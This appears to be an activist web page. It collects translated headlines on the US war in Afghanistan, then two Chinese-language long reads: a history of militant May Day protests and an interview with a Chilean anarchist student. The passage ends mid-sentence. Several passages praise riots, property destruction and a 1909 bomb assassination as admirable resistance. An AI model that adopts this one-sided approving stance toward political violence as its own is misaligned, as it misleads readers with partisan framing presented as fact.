Inside the Underground Railroad Out of Afghanistan（“这是营救阿富汗妇女管弦乐队的工作。她们被困在喀布尔，急切地想要离开。我拿到的是一份500人的名单，然而，我被要求从中选择5个 ..... 我一直在思考关于运气的问题。我们选择出生地的运气。我们选择被什么样的父母生出来的运气。还有，现在，我们认识什么人的运气。”）

Twenty Years After 9/11: Islamophobia and the Politics of Empire（论坛 - 9/11 事件后 20 年：伊斯兰恐惧症和帝国政治）

U.S. DRONE STRIKE IN KABUL KILLED A FAMILY — AND BEGAN A NEW CHAPTER OF THE WAR（最近发生在喀布尔工人阶级住宅区 Khwaja Burgha 的无人机袭击杀死了艾哈迈迪家族的许多成员，最小的受害者是一名年仅2岁的女孩。社交媒体上分享的停尸房录像显示了几个孩子被烧毁的尸体，以及受害者死前的照片。艾哈迈迪家族成员向记者透露，其中一名死者是前阿富汗军官，曾担任美军的承包商，也是一名慈善组织的工作人员。）

U.S. CITIZEN IN AFGHANISTAN WAS DESPERATE TO GET OUT — BUT THE STATE DEPARTMENT NEVER CALLED BACK（在阿富汗的美国公民急切地想要离开 —— 但国务院从未回电。阿富汗裔美国人 Prince Wafa 因为在美国军队工作而担心自己的生命。）

OVER TWO DECADES, U.S.'S GLOBAL WAR ON TERROR HAS TAKEN NEARLY 1 MILLION LIVES AND COST $8 TRILLION（二十

年来，美国的全球反恐战争夺去了近100万人的生命，耗资8万亿美元。战争成本项目的一份新报告对全球永久战争的人力和财政成本做出了惊人的估算。）

One thing to consider is that overwhelming majority of people U.S. has fought since 9/11 had nothing to do with the attacks and this has been true since early 2002. Well over a decade into the war many if not most Afghans didn't even know what 9/11 was: Among many Afghans, 9/11 remains unfamiliar or poorly understood（需要考虑的一件事是，自 9/11 事件以来美国与之战斗的绝大多数人与恐怖袭击完全无关，自 2002 年初以来一直如此。战争十多年来，许多阿富汗人甚至不知道9/11 是什么）

Disorderly retreat from Afghanistan: The U.S. has become an overextended military empire posing a serious threat to its long-term security（1987 年，英国历史学家保罗·肯尼迪（Paul Kennedy，1945- ）写了一本关于大国兴衰的地缘政治书，他在书中研究了经济和军事因素如何伴随或导致先前占主导地位的国家失去大国地位。他的主要结论是，一个霸权国家迟早会扩张过度，其经济将难以维持其庞大的军事机器运转。事实上，一个帝国可以通过在国外发动战争来增加其资源，至少在一段时间内是这样；然而，永久战争和对外国领土的军事占领迟早会导致成本大于收益。）

Britain supported Pakistan while the south Asia nation helped the Taliban kill UK troops（尽管伊斯兰堡一直在协助塔利班在阿富汗的行动 —— 那里有 457 名英国士兵被杀，但英国长期以来一直在训练和支持巴基斯坦的军事情报机构。军情五处和军情六处在伦敦北部的英国军事基地训练巴基斯坦高级情报官员。 近年来，英国向巴基斯坦军方提供了57个培训课程，包括 "军事心理行动" 和 "联合信息行动"。曾在阿富汗服役的陆军老兵说，失去亲人的家庭 "应该要求得到答案"，说明英国如何支持巴基斯坦，同时支持那些杀死或致残我们年轻的英国士兵的极端势力。）

World Beyond War: The U.S. military and its allies have killed far too many Afghans over twenty years. Sign a petition calling for no more drone and other U.S. military attacks on Afghanistan（权利组织："美国军队及其盟国在过去二十年里杀害了太多阿富汗人。签署请愿书，呼吁不要再使用无人机和其他美国军事袭击阿富汗"）

After The End Of US Military Occupation In Afghanistan — With Guests Ann Wright And Matthew Hoh 在关于阿富汗战争的后续讨论

中，Ann Wright 和 Matthew Hoh 讨论了美国军队完全撤出后会发生什么。他们还反思了撤离工作的完成情况，其中涉及与塔利班的协调。

Ann 是一名退休的美国陆军上校和国务院外交官，也是 2001 年 12 月重新开放的美国驻阿富汗喀布尔大使馆的小团队的一员。她最终辞职以抗议伊拉克战争。

Matthew 在伊拉克战争中在海军陆战队服役，后来在国务院工作。他于 2009 年辞去国务院职务，以抗议阿富汗战争。

Ann 和 Matthew 回应了一些有关从阿富汗撤军的建制派新闻宣传——从将军到智囊团再到战地记者。Ann 还评论了中央情报局在撤军期间的所作所为，以及制裁将对阿富汗人民产生的影响。

原文

五一节：勇气和抵抗的故事 - iyouport

反抗者-寻求经验长读

五一节的历史快照

五一节是全世界抗议者庆祝自决和自我实现的日子之一。几千年来，人们一直用点燃篝火以纪念冬天的结束；直到工业化强行将人们与滋养他们的土地基础分开，五一节才被当作劳动节来纪念。

从根本上说，五一节不是关于劳动的：它是关于丰收的。它是关于赢余、快乐、自由 —— 生命本身的蓬勃发展的来源。作为一个有几千年历史的纪念春回大地的圣日，五一节将我们的思想引向大自然——一个流经人们并滋养人们的狂野而美丽的混乱，您可以享受但永远无法控制。

人们欢乐的反叛行动并不是指向一个让工人的劳动报酬稍好一些的世界，而是指向我们可以扫除所有形式的压迫，这些压迫阻挡了人们和人们生命的巨大潜力。

下面是五一劳动节几个世纪以来令人激动的时刻。祝你们今天的努力一切顺利：正如民谣歌手所唱的那样，“你为其而战的东西就是要使它为你所有”。2012年 五一节，西雅图

在五一节成为 “五一节” 之前：1871, 1877, 1884

「图」

在五一节成为庆祝劳工斗争的国际节日之前，工人和其他反叛者纪念3月18日，即1871年巴黎公社开始的纪念日。

例如，1877年3月18日，年轻的彼得·克鲁泡特金（Peter Kropotkin）与Pindy、Stepniak 以及来自瑞士各地的无政府主义者一起在伯尔尼举行了游行。克鲁泡特金在很大程度上是作为科学和互助的和平倡导者而被记住的，但在那时，他和他的朋友们带来了旗杆、指节铜套和其他武器来保护自己。经过长时间的街头对抗，他们成功地从试图夺

取旗帜的警察手中抢回了旗帜，并继续举行了2000多人的会议，会上他们朗诵了演讲稿，演唱了革命歌曲，并宣读了来自法国和西班牙的鼓励电报。

1884年10月7日，有组织的行业和工会联合会在芝加哥举行会议，决定要求在1886年五一节前将工作日限制在8小时。这个组织的领导层，也就是后来的美国劳工联合会（AFL），秘密发布了一份声明，建议成员不要参与到围绕这一要求的运动中，但基层员工大量拥护这场运动。

1886

「图」

无政府主义组织者阿尔伯特和露西·帕森斯带领8万人在芝加哥的密歇根大道上举行了第一次现代五一游行，他们高呼："八小时工作日，不减薪！"在接下来的几天里，美国各地有35万工人在1200家工厂进行了罢工，包括芝加哥的7万人、纽约的4.5万人和辛辛那提的3.2万人。

四天后，警察袭击了芝加哥的一次劳工集会，有人以投掷炸弹作为回应，剩下的就是历史了。

阿尔伯特·帕森斯和其他四名无政府主义者在随后徒有其表的审判中丧生，这场审判被广泛认为是被操纵的和不公正的，以至于在1893年，州长推翻了对他们的定罪，并批评了法庭程序。露西·帕森斯，后来成为世界产业工人联合组织的共同创始人，致力于革命组织的生活。

「图」

1891

「图」

经验丰富的无政府主义组织者埃里科·马拉泰斯塔（Errico Malatesta）决心为干草市场起义的烈士们报仇，并建立一个能够废除资本主义和国家政权的革命运动，他秘密返回意大利，以便为五一节准备激烈的示威活动。

1891年5月1日下午，数千名工人聚集在罗马的圣克罗齐广场，听取一系列的演讲。很快又有数千人的游行队伍到达，其中包括举着旗帜

的无政府主义联合会成员。正如警察局长所指出的，“无政府主义联合会的出现立即刺激了人群的兴奋”。

无政府主义者阿米尔卡雷·西普里亚尼（Amilcare Cipriani）曾被判处死刑，然后被流放到新喀里多尼亚，作为对他在保卫巴黎公社期间担任参谋长的惩罚，他站起来发言。注意到数百名士兵和骑兵用刺刀森林包围了广场，西普里亚尼恳求大家保持冷静，认为现在不是与当局对抗的适当时机。然而，一位未被安排发言的人，曾与马拉泰斯塔一起流亡阿根廷的无政府主义者伽利略·帕拉（Galileo Palla），跳上讲台，劝说人群起义，最后喊道：“革命万岁！”

随后的起义蔓延到整个城市，一直持续到夜晚。

1894

「图」

1894年5月1日，大规模的起义席卷了俄亥俄州的克利夫兰，以抗议前一年的经济危机造成的失业。几天后，即5月11日，普尔曼大罢工开始，最终导致全国范围的联合抗议，许多工人被警察和其他雇佣兵谋杀。

作为回应，格罗弗·克利夫兰总统宣布，9月的劳动节将成为一个全国性的节日，试图在不肯定干草市场暴动周年纪念日的情况下哄骗工人的斗争。塞缪尔·冈伯斯（Samuel Gompers）是美国劳工联合会的创始人，也是移民、无政府主义、社会主义以及后来的世界产业工人组织的激烈反对者，他支持联邦政府镇压普尔曼大罢工，并支持格罗弗·克利夫兰破坏五一节势头的努力。

不要搞错了：合法化劳工组织的官方领导从一开始就主要是为了驯服和阻碍劳工运动而来的。

1909

「图」

1909年五一劳动节在布宜诺斯艾利斯宣布了两个劳工集会。一个是由社会主义工人总工会（UGT）组织的；另一个是由无政府主义的阿根廷地区工人联合会（FORA）组织的。

正如无政府主义历史学家奥斯瓦尔多·拜尔（Osvaldo Bayer）所叙述

的那样：“中午过后，广场上开始挤满了不属于这个城市的居民：很多人留着胡子，戴着贝雷帽，戴着领巾，穿着打补丁的裤子，很多人头发很白，很多人脸上有雀斑，很多意大利人，很多‘俄罗斯人’（当时对犹太移民的称呼），还有不少加泰罗尼亚人。举着红旗的无政府主义者走了过来。资产阶级去死！向资产阶级宣战！—— 这是最早听到的呼声。”

最吵闹的人似乎是来自“Luz al Soldado”（”启蒙士兵”）协会的无政府主义者。根据当天的警方报告，他们破坏了有轨电车，释放了出租马车上的马匹，并砸毁了拒绝关闭店面以纪念工人节日的面包店。

出乎意料的是，警察局长拉蒙·法尔孔（Ramón Falcón）上校开着他的车，下达了攻击命令。警察疯狂地向示威者开枪，并骑着马践踏抗议者，造成多达**11**名工人死亡，还有几十人受重伤。

社会主义者与无政府主义者一起呼吁举行无限制的大罢工，要求法尔孔辞职。该上校以逮捕和突袭作为回应，并关闭了无政府主义者的媒体。5月4日，在干草场事件发生33年后的那天，多达8万名群众聚集在一起，陪同他们的烈士遗体前往墓地。法尔孔的警察们再次出现，对纪念者进行殴打和射击。

受到五一大屠杀影响的无政府主义者之一是一位在乌克兰出生的少年，西蒙·拉多维茨基。六个月后，拉多维茨基用一枚自制的炸弹炸毁了法尔孔的马车，杀死了这个上校和他的秘书胡安·拉蒂高。当最后被警察抓住并殴打时，他大喊：“反侵略者万岁！” 拉多维茨基成为阿根廷历史上最著名的政治犯之一。一组海报，展示了各种意识形态竞争，以定义“劳动节”的含义

1919

「图」

俄亥俄州克利夫兰再次发生起义，反动派和警察袭击了由工会成员、无政府主义者和社会主义者组成的五一游行队伍，他们抗议监禁尤金·德布斯，这位劳工组织者几十年前曾在普尔曼罢工中崭露头角。

1937

「图」

1937年5月1日，艾玛·戈尔德曼在伦敦海德公园就西班牙内战中的无

政府主义者发表演讲，展示了支持CNT的巨大旗帜。

在加泰罗尼亚，5月3日至8日，在后来被称为“五月天”的活动中，巴塞罗那爆发了冲突，一方是无政府主义者和西班牙革命的其他基层参与者，另一方是警察、为斯大林服务的共产党员和共和国政府的其他成员。这预示着西班牙革命在佛朗哥手中的失败，而佛朗哥内部的专制主义者则背叛了它。

> “共产党人工作的目的不是要把西班牙革命推迟到更合适的时间，而是要确保它永远不会发生。随着时间的推移，这一点变得越来越明显，因为权力越来越多地从工人阶级手中被扭曲，越来越多的各种类型的革命者被投入监狱。每一次行动都是以军事需要的名义进行的，因为这个借口可以说是现成的，但其效果是把工人从有利的位置上赶了回来，他们会发现不可能抵制资本主义的重新引入 ..... 毫无疑问，武器是故意扣留的，以免太多的武器落入无政府主义者的手中，他们会在事后把它们用于革命目的。”

1945

「图」

西班牙无政府主义者安东尼奥·加西亚·巴隆（Antonio García Barón）在十几岁时就加入了杜鲁蒂纵队，在西班牙内战期间击败法西斯主义并推进无政府主义革命。由于资本主义国家的冷漠，纳粹对佛朗哥部队的支持，以及共产党人对其他反法西斯分子的背叛，西班牙的革命在1939年就被打败了，但巴隆本人从未放弃。他前往敦刻尔克战役，在那里，他给了一个饥饿的英国士兵一个急需的午休时间，拿起枪击落了两架纳粹战机，让那个士兵非常惊讶。

不久之后，巴隆被抓获并被送往位于毛特豪森的纳粹死亡营。即使被大规模处决和饥饿所包围，巴隆仍带着他的无政府主义理想。在希姆莱的一次访问中，巴隆设法与党卫军领导人对质。当巴隆进入集中营时，西班牙剥夺了他的国籍；他从未试图取回国籍。在毛特豪森，巴隆被打上了一个蓝色三角形和字母“S”的标记—— 这是识别被视为无国籍囚犯的标记。

毛特豪森的毒气室处决一直持续到1945年5月1日阿道夫·希特勒自杀前。5月5日，盟军解放了毛特豪森集中营。他们受到欢迎的旗帜上写着：“西班牙反法西斯主义者向解放者致敬”。随着法西斯主义的失败

和集中营的解放，安东尼奥·加西亚·巴隆开始在国家、资本主义，以及最重要的是教会的范围之外生活。他在玻利维亚的丛林中定居下来，尽管有美洲虎的袭击和多次暗杀企图，他仍然活了下来，成为杜鲁蒂纵队的最后一名幸存者。西班牙反法西斯的囚犯于1945年5月5日举着旗帜，庆祝自己从毛特豪森纳粹死亡集中营的解放

1950

「图」

自1928年以来，南非的黑人工人就参加了五一节示威活动，当时他们的游行使种族主义的劳工党组织的只有白人的示威活动相形见绌。1950年，南非共产党呼吁举行五一罢工，抗议 “抑制共产主义法”。南非警察以残酷的暴力镇压进行报复，在索韦托各地杀害了18人。年轻的纳尔逊·曼德拉为了躲避枪林弹雨，连夜在护士宿舍里寻求庇护。1961年，古巴哈瓦那的“五一劳动节”

1968

「图」

在巴黎南泰尔大学的学生和当局之间发生了数月的冲突之后，行政当局于1968年5月2日关闭了该大学。巴黎索邦大学的学生于5月3日举行聚会，声援南泰尔大学的学生进行抗议。5月6日，2万多名学生、教师和支持者加入索邦大学游行，与试图封锁学校的警察对峙。大规模的冲突随之发生，引发了为期一个月的罢工和占领，几乎推翻了法国政府。

（巴黎，1968年5月）

1971

「图」

5月1日，超过50,000人参加了在华盛顿特区举行的反战聚会，这场集会是在 May Day Tribe 的协调下举办的，这是一个激进的左翼组织，包括意大利人、LGBTQ和女权主义者的队伍。

政府取消了许可证，并驱逐了举行集会的公园。然而，在5月3日的黎明，超过15,000名反战抗议者被组织成亲密团队，试图通过协调的非

暴力反抗手段关闭整个华盛顿特区。

同样数量的警察、士兵和海军陆战队以催泪瓦斯和暴力袭击作为回应，随意扣押和毁坏财产，包括两辆有标志的救护车。

截至上午8点，超过7000人被逮捕，到那周结束时，被捕人数接近13000人，其中只有79人最终被定罪。一家联邦法院后来向被捕者总共赔偿了1200万美元。

1983

「图」

在伦敦，无政府主义期刊《阶级战争》在五一节出版了他们的第一期。这份期刊直观地认识到，工作场所的斗争在很大程度上被新自由主义资本主义的结构调整所取代，因此它关注社区斗争和城市起义，以不敬业的幽默感欣然挑衅保守派，这种幽默感继续影响着当今一些最好的无政府主义宣传者。

在参与反法西斯组织、推翻撒切尔政府的人头税起义以及1999年6月18日的反资本主义狂欢节（为1999年在西雅图举行的反对世界贸易组织峰会的示威活动奠定了基础）的过程中，《阶级战争》期刊帮助创建了今天无政府主义运动复苏的基础。

1986

「图」

在乌克兰，五一节100周年的国家庆祝活动按计划进行，尽管执政的共产党的许多官员没有解释就缺席。这是因为切尔诺贝利的核反应堆正在融化，向空气中倾泻致命的辐射。官僚们知道这种情况正在发生，但还没有向公众承认，使无数工人暴露在辐射中毒中。

这场灾难说明了专制党派对五一节和整个工人运动的合纵连横的致命影响。无论是社会主义还是民主，国家的存在本身就预示着等级制度，这不可避免地使工人和其他人面临不相称的风险。

1987

「图」

在柏林，五一节在克鲁兹堡地区举行的街头派对意外地成为一场重大冲突，吸引了许多阶层的人参加，迫使警察放弃该地区数小时。从那个自由的夜晚开始，出现了大规模对抗的传统，在柏林市中心每年都有一天的起义，一直持续到今天。

（Atari Teenage 起义，1999年五月一日，柏林）2000年5月5日在柏林的示威者

（2002年在伦敦举行的“五一节”示威活动）

2006

「图」

2006年，数以万计的移民和支持者举行罢工，示威反对压制性的移民政策。

2010

「图」

2010年五一节，美国各地出现了小规模但有战斗力的示威活动，如北卡罗来纳州的阿什维尔和加利福尼亚州的圣克鲁斯，这两个地方的示威者在反击城市化的过程中都有大量的财产破坏。在阿什维尔，警方随机逮捕了11人，并指控他们犯有包括阴谋在内的各种重罪。此案拖了好几年。最后，一些被告接受了轻罪认罪协议，而其余的人没有被定罪就被释放了。2011年5月1日在蒙特利尔

2012

「图」

2012年五一节在世界各地发生了强大的无政府主义示威活动，特别是在蒙特利尔、奥克兰和西雅图。

在蒙特利尔，在一次强大的学生罢工的高潮中，数百名参加激烈的五一示威的人与警察发生冲突。游行从 Champ de Mars 开始，就在蒙特利尔市政厅的前面，并迅速向市中心的核心地带移动。它包括当时在蒙特利尔街头的最大的 black blocs 之一。蒙特利尔，五一节游行队伍

2012年劳动节，蒙特利尔

（2012年五一节，蒙特利尔，示威者与警方对峙）

在奥克兰，经过一整夜的战斗之后，在旧金山快速绅士化的社区，数百人在整个城市游行，开始和结束时在奥斯卡-格兰特广场与防暴警察发生冲突，该广场以前是“占领奥克兰”运动的地点。旧金山，2012年五一节前一天晚上

2012年5月5日，与奥克兰的警察对峙

2012年五一节，起义者穿越奥克兰

在西雅图，一个 black bloc 组织在镇上游行，出人意料地袭击了被反对1999年世界贸易组织峰会的示威者占领的著名的Niketown。**1999**年来自美国各地和世界各地的活动家们完成的任务，现在由当地人完成了，尽管有大量的警察在场。

（2012年西雅图五一节的抗议视频，已经被YouTube删除）

与此同时，在柏林，当局多年来为控制不守规矩的五一节示威活动所做的努力开始得到回报。事实证明，对政府来说，组织他们自己的严格管制的五一节庆祝活动比简单地试图用蛮力压制示威活动更有效。仔细看一下他们的战略是很有启发的。

2015

「图」

米兰的几百名示威者与警察发生冲突，抗议资本主义、国家和围绕企业“2015年世博会”的腐败。米兰，2015年五一节

米兰，2015年五一节

土耳其，20115年五一节

2017

「图」

故事还在继续！

- 2017年五一节，奥林匹亚
- 2017年五一节，巴黎
- 2017年五一节，费城
- 2017年五一节，波特兰
- 2017五一节，西雅图

2018

「图」

- 2018年五一节，巴黎

2019

「图」

- 2019年五一节，巴黎

2021

「图」

- 2021，五一节，巴黎

○□

The May Days: Stories of Courage and Resistance

原文

从独裁到民主，反抗的火焰 -- 48年 - iyouport

反抗者-寻求经验无政府主义长读

武装斗争不再集中在那些渴望夺取国家权力的团体手中。随着中央集权团体的衰落，出现了横向组织和实行低水平防御性暴力的少数派团体和立场 ……

【按】近年来，在评价当下的中国学生时，我们听到了一些悲观的说法。虽然我们自己在此也并没有什么值得乐观的调查结论或合作经验，但那些充满贬义词的描述依旧令人深思。

时代背景确实不同了，当下的年轻人缺少了很多重要的经历，但我们依旧愿意假设知识面和认知锻炼将是有益的。智利的学生反抗运动证明了这点。

想解决现有问题，究竟是要改革还是要革命？暴力还是非暴力更好一些？派系之争有什么问题吗？没经历过最困难时期的年轻人会缺乏战斗力吗？对政治的理解浅薄会在行动方面有障碍吗？…… 这些问题您会在中国反复看到，但对它们的争论只是起到了阻碍行动的作用，因为：

智利学生的反抗运动有着几乎可以称之为最复杂的意识形态结构、由此引发的内部矛盾甚至冲突、以及强大的外部压力，但是他们依旧能够寻找到共识，并积极地体现在斗争中。我们相信其他国家也可以做到。

请记得，当争论无法促进问题的解决、甚至阻碍行动的时候，争论是毫无意义的。希望本文能为中国和其他国家的反抗者带来有意义的思考。

48年前的今天，1973年9月11日，一个军事独裁政权通过美国中央情报局支持的政变夺取了智利的权力。他们未经审判杀害了数千人，折磨了数万人，并迫使数十万人流亡，这一系列暴行是一些特朗普的支

持者公开幻想在美国实施的。

今天，独裁政权的遗产仍然存在于它通过的法律和引入的残酷的新自由主义政策中，但也存在于镇压性的警察机构中，这些机构以服务独裁者的方式“为民主服务”。

最重要的是，还有一些东西持续存在：一个强大的抵抗运动。

本文采访了一位参与智利学生运动的无政府主义者，其中指出的问题可能令人深思。智利年轻人在起义中

这就是态度

学生对战军事化的防暴警察

Q：请简要介绍一下无政府主义者参与智利当代学生运动的起源。

「图」

A：无政府主义在20世纪的前20年里在智利蓬勃发展。在很大程度上，工人运动通过罢工传播了这种思想潮流，如1903年的码头工人罢工、1905年的肉类包装商罢工、和1907年在伊基克举行的著名的矿工罢工。1930年代，由于一方面是马克思主义的兴起，另一方面是法西斯主义的兴起，无政府主义开始衰落，而部分左翼越来越制度化，并被纳入资产阶级的选举体系。在接下来的几十年里，无政府主义在工人运动中逐渐减少，直到独裁统治时期（1973–1990），它已经成为一种少数人的立场，更容易在知识分子的小圈子里找到。

在20世纪90年代，无政府主义开始在智利重生，同时出现的还有新兴的朋克场景和参与大学抗议和街头示威的蒙面人。这时，无政府主义已经不再依附于工人运动；它作为反主流文化的一部分，在街头、棚屋、高中、大学和其他非正式空间中，在独裁时期听着 La Polla Records、Los Miserables、Fiskales Ad-Hok、Ska-P 等乐队的声音长大的那几代人中，重生了。

如果您错过了《不，互联网并没有杀死反文化—您只是在寡头服务上找不到它》

还有就是80年代后几代战斗青年的影响。到那时，年轻人在抵抗独裁政权的过程中已经学到了很多街头战斗的知识，尽管在意识形态上这

往往没有延伸到反对警察之外。例如，更传统的游击队组织 MAPU-Lautaro 的影响，以及像 FPMR（曼努埃尔·罗德里格斯爱国阵线）和 MIR（革命左翼运动）这样的武装团体的衰落，造成了这样一种局面，即：武装斗争不再集中在那些渴望夺取国家权力的团体手中。随着中央集权团体的衰落，出现了横向组织和实行低水平防御性暴力的少数派团体和立场。

这为20世纪90年代诞生的新一代 encapuchados 提供了舞台，他们在2006年高中的大规模抗议活动中提出了新的立场和新的行动类型。高中学生的聚会

“面具就是人民的脸”

在里卡多·拉戈斯总统（2000–2006年）的领导下，反对大学学费上涨的第一 次抗议活动在2004年已经开始抬头。2006年，“企鹅革命” 爆发了。这是自20世纪80年代独裁统治下的抗议活动以来，学生们第一次大规模的觉醒。

【注：2006年智利的学生抗议活动是2006年4月下旬至6月上旬，智利各地高中学生不断进行的一系列学生抗议活动。抗议活动在5月30日达到顶峰，当时有790,000名学生参加了全国各地的罢工和游行，成为智利过去30年来最大规模的学生示威游行，也是米歇尔·巴切莱特（Michelle Bachelet）总统政府的第一次政治危机。】

这一次，走上街头的是*没有*在独裁统治下生活过的一代人，是在“民主制度” 下长大的一代人，但他们能够清楚地意识到皮诺切特的幽灵仍然存在—— 我们生活在皮诺切特的军政府和他们的民间技术官僚强加的规范框架下。我们今天仍然如此。

当时，即2006年，独裁统治下制定的《教育组织法》（LOCE）仍在实施。它保证了穷人的不稳定教育和富人的奢侈教育，造成了残酷的阶级分化，表现在大学选拔考试的分数上。同时，圣地亚哥被一个新的城市公交系统（“transantiago”）所引起的普遍不满所困扰—— 这是一场彻底的灾难，对那些不得不在圣地亚哥的现代和资产阶级地区通勤的人们造成了严重的后果。校园里的涂鸦写着 “反对所有权威”

校园自治在行动

在整个学生反叛的过程中，暴力作为政治表达手段的合法性问题凸显出来了。对这一问题的不同反应反映了你在这一意识形态异质性运动中可以找到的所有不同立场。新一代的无政府主义和马克思主义青年

在这些辩论中分化了自己，在学生抗议和传统的5月1日和9月11日的年度示威中出现。

暴力作为一种斗争方法一直是有争议的，目前学生运动中的矛盾正是围绕这个问题展开。为了把这个问题放在历史背景下，我们可以把这些矛盾与1960年代、70年代和80年代的辩论进行对比。

在1970年代，工人和学生运动的主要冲突是关于改革与革命的二分法——例如，MIR援引武装斗争的必要性与社区党（PC）的民主改革主义。相比之下，在21世纪智利的抗议活动中，使用暴力的抗议团体不仅仅是对抗警察，他们反对每一个集中政治、宗教、经济或社会权力的结构。这就是为什么示威者有时会针对银行、药店、政府大楼、教堂、快餐连锁店等。在这里下载《您是暴动主义者吗》

这是智利社会从独裁统治到当前模式转变的结果。示威人群不再简单地争论改革还是革命才是废除独裁统治的最佳方式。那些利用暴力对抗国家权力和财产的人和那些寻求通过既定法律渠道表达自己的人之间的矛盾，要复杂得多。

其中一个原因是，21世纪智利的社会抗议活动是异质的、多样化的。许多政治倾向甚至不能就他们所反对的内容达成一致。有像共产党、民主革命党这样的改革派，有像MIR这样的老牌团体，还有参与资产阶级选举主义游戏的整个建制派。然后是各种类型的托洛茨基主义者——格瓦拉主义者、老派马列主义者、新马克思主义者；最后是各种类型的无政府主义者，包括反叛的无政府主义者、个人主义者、无政府共产主义者、无政府联合主义者、无政府朋克等等。这使得智利当代的社会抗议活动变得复杂。然而在暴力方面，出现了某些两极分化。在对抗的时刻，关于这些行为出现了两种立场：那些支持针对社会秩序的 encapuchado 暴力的人（无论是马克思主义、无政府主义还是其他）和那些认为应该对它作出反应的人。例如，对于学生运动的机构部门来说，encapuchado 暴力（在北美被称为 “black bloc”）是一个障碍，因为它不注重“公众意见”，并削弱了对改革派团体寻求与之对话的权力的信心。

就其本身而言，学生运动是一场社会民主和改革主义运动，它并不寻求废除国家、社会阶层、财产、资本主义生产方式或父权制统治。以资产阶级机构为基础，它提出的暴力是适得其反的，因为学生运动作为一个整体，不是要破裂，而是要与权力达成一致。

另一方面，无政府主义者（在 **encapuchados** 中占很大一部分）并不寻求与权力对话。无政府主义者寻求直接对抗；他们并不为国家的免

费教育而请愿。这些差异解释了为什么机构合作组织与起义的无政府主义者之间的争端经常升级为身体对抗。

如果您错过了《要运动，不诉求》在大学城墙外与警察发生冲突。

坚守阵地

2011年，当“免费教育”的要求变得很普遍时，抗议游行吸引了前所未有的人数。因此，encapuchado 暴力、警察镇压、改革派组织，以及这些现象之间的所有紧张关系达到了顶峰，学生运动本身也一样。其结果是“和平主义者”、改革派学生、和体制内左翼政党的激进分子因暴力问题和他们不同的目标和立场而反复发生身体对抗。

2011年的事件是一种高潮，是人们自1990年代以来一直在学习的所有累积的教训。占领学校和学生罢课的规模是新事物，但无政府主义者并不是唯一参与其中的人。在大多数情况下，占领和罢课的目的是为了推动改革主义的要求，而不是为了夺取权力或作为走向普遍起义的一个步骤。无政府主义者充分利用这种情况来宣传思想，向新动员起来的学生讲话，并开展行动。毫无疑问，这是一个无政府主义发展的时期 —— 无论是在 encapuchado 的参与方面，还是在集体、蹲点、书籍出版、研讨会、晚餐、讨论、义演、囚犯等问题的数量方面。

当然，有很多学生既不是马克思主义者也不是无政府主义者，他们只是坚持追求公共的、免费的教育事业，但仍然戴着面具来对抗压迫。2011年，就像2006年一样，警察的镇压是如此激烈，以至于改革派学生和意识形态不一致的学生也与警察展开了对抗 —— 不是为了采取攻势，而是从相信权利的立场出发，也就是说，对他们认为是针对合法运动的“非法”暴力作出反应，因为它是民主的，不应该被镇压。

推荐内容《暴力的非法性，合法性的暴力》

另一方面，某些马克思主义倾向，如 格瓦拉主义者、列宁主义者，也使包围式暴力合法化，但只是为了服务于他们的议程 —— 只是在某些情况下，只要它“得到群众的认可”，只要它不是“个人行动”，只是当它被纳入阶级斗争的框架。人们可以发现许多无政府主义者，甚至在无政府主义组织内部，他们有更多的个人主义立场，他们相信对整个社会的战争超越阶级战争。其他无政府主义者，如那些与自由意志主义或更多的集体主义潮流相一致的人，也把 encapuchado 暴力理解为阶级斗争的一种表现，但没有像马克思主义者那样的许多条

件。如果个人行动是在集体抗议的背景下进行的，他们就不会有那么多问题。

围绕暴力的辩论甚至在学生示威者之间产生了暴力。在许多次游行中，在 encapuchados 和警察的对抗中，无政府主义者和 **encapuchados** 不得不面对试图阻止他们的律法主义、反动的倾向，这几乎总是以这两种示威者之间的文字对抗而告终。青年人的游行

直面镇压

Q：无政府主义者参与学生运动的不同战术和战略是什么？

「图」

A：无政府主义者参与了学生运动，但没有向国家提出要求。他们参与的目的是使学生斗争激进化，宣传反权威思想，并加入到街头对抗中。许多无政府主义者试图将他们在高中和大学的社会环境政治化，首先是那些更认同巴枯宁主义和自由意志主义共产主义的人们。更多的反叛主义和个人主义的倾向则更注重在大规模游行的背景下参与街头暴力。

对于这点，见《要运动，不诉求》

现在，对抗性战术完全被用来为机构请愿服务，向政府施加压力。他们没有革命的目标，因为学生运动本身没有任何革命的目标。

不管怎么说，它们很重要，因为在学校的占领中，有团结的关系，有有利于罢工的活动，有对囚犯的福利，有政治论坛和讨论，等等。很多原本政治上没有超越“免费教育”或“结束营利性教育”的孩子通过参加这些活动而变得激进。

此外，尽管占领学校和罢工是为了实现改革主义的目标，但它们是反抗当局的表现，超越了传统的抗议形式。

这一点相当有趣，尤其是在2011年。占领大学和中学是自由主义书展、朋克表演和讨论的空间；在它们存在的几个月里，它们是解放的空间，团结和横向关系在资本主义和便利的支配下发展。有聚餐、集体壁画项目、书籍、粉丝杂志、公报。在警察最终驱逐占领区的时候，也有抵抗和对抗的情况发生。职守

把警察拒之门外

Q：教育成本如何影响智利的学生？它是否决定了谁可以上学？它是否影响了学生的政治和优先事项？无政府主义组织对此有什么可以做的吗？

「图」

A：在智利，教育是复制和延续阶级不平等和一个阶级对其他阶级的统治的动力。除了经济方面，教育也是一种驯化的方式—— 学生被要求记住东西而不是自己思考。数学比什么都重要，很少有时间学习历史，他们教给你的历史只是由事件和日期组成的线性历史，不需要任何实际思考或质疑。所有的课程都被灌输了对资本主义和权威的盲目信仰。

无政府主义者对此能做什么？没有太多。事实是，要求国家提供免费教育是改良派的制度性斗争，尽管一些更激进的部门承担了这一要求，因为他们认为这是走向反对资本主义的普遍斗争的初步步骤。然而，无政府主义者更注重产生冲突和激进化的空间。目标是起义，而不是改良。起义而不是改良

“无论有没有面具，都为斗争而现身。”

Q：谈一谈学生抵抗的文化因素？

「图」

A：这可以包括壁画、图书和宣传展销会、文学发行（feria）、艺术展和研讨会。所有这些都经常发生，但在2011年达到了一个高潮。例如，有关于与学生运动间接相关的主题的研讨会 —— 如 皮诺切特独裁统治时期的法律，基于市场的教育逻辑，以及该运动提出的解决方案，如建立新的教育法，消除教育的私有化。

无政府主义者主办的研讨会不仅仅是要求获得资产阶级的工作机会和更“公正”的教育。他们提出了一个在权威和统治关系之外的自由意志主义的教育概念。例如，这些空间的动态与社会中心的动态是不同的。对大学和中学的占领几乎普遍是反资本主义的，只是在特定的意识形态方面呈现多样化。

无政府主义者始终是少数，无论是在占领区还是在街头。然而，游行的规模是如此之大 —— 到2011年8月有30万人参加 —— 尽管他们是少数，但仍有很多人被包围。就数量上的损失而言，他们确实是当局

